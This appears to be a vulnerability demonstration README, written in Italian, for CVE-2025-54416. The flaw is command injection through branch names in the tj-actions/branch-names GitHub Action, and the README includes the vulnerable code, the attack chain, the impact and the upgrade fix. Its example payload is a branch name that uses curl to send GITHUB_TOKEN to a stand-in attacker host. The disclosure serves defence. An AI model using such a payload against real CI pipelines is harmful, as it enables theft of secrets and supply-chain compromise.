CVE-2025-54416: Dimostrazione di iniezione di comandi in tj-actions/branch-names

Questo repository dimostra CVE-2025-54416, una vulnerabilità critica di iniezione di comandi in tj-actions/branch-names che interessa oltre 5.000 repository pubblici.

Vulnerabilità

L'azione GitHub tj-actions/branch-names (versioni <= 8.2.1) utilizza eval printf "%s" in modo non sicuro, reintroducendo rischi di iniezione di comandi dopo una corretta sanificazione.

# Vulnerable code pattern in tj-actions/branch-names:
echo "base_ref_branch=$(eval printf "%s" "$BASE_REF")" >> "$GITHUB_OUTPUT"

Catena d'attacco

1. L'attaccante crea un branch con un nome malintenzionato contenente comandi shell
2. Il workflow della vittima usa tj-actions/[email protected] per estrarre il nome del branch
3. Il nome del branch estratto (con il payload dell'attaccante) viene usato nei successivi comandi shell
4. Il comando viene eseguito nel contesto del runner CI con i privilegi del runner
5. I segreti (chiavi AWS, GITHUB_TOKEN, ecc.) vengono esfiltrati

Esempio di Payload

Nome del branch: main$(curl https://attacker.com/exfil?secret=$GITHUB_TOKEN)

Quando il workflow viene eseguito:

echo "IMAGE_TAG=${{ steps.branch-name.outputs.current_branch }}"
# Actual output: IMAGE_TAG=main$(curl https://attacker.com/exfil?secret=$GITHUB_TOKEN)
# The $(...) is evaluated by the shell, exfiltrating GITHUB_TOKEN

Impatto

• Furto di segreti sensibili (chiavi AWS, token API, GITHUB_TOKEN)
• Modifiche non autorizzate al codice
• Push di immagini dannose verso registry di produzione
• Attacchi alla supply chain tramite CI/CD compromessi

Correzione

Aggiornare a tj-actions/branch-names@v9 o successivo, che sostituisce eval printf "%s" con chiamate printf sicure.

Riferimenti

• Avviso GitHub GHSA-gq52-6phf-x2r6
• CVE-2025-54416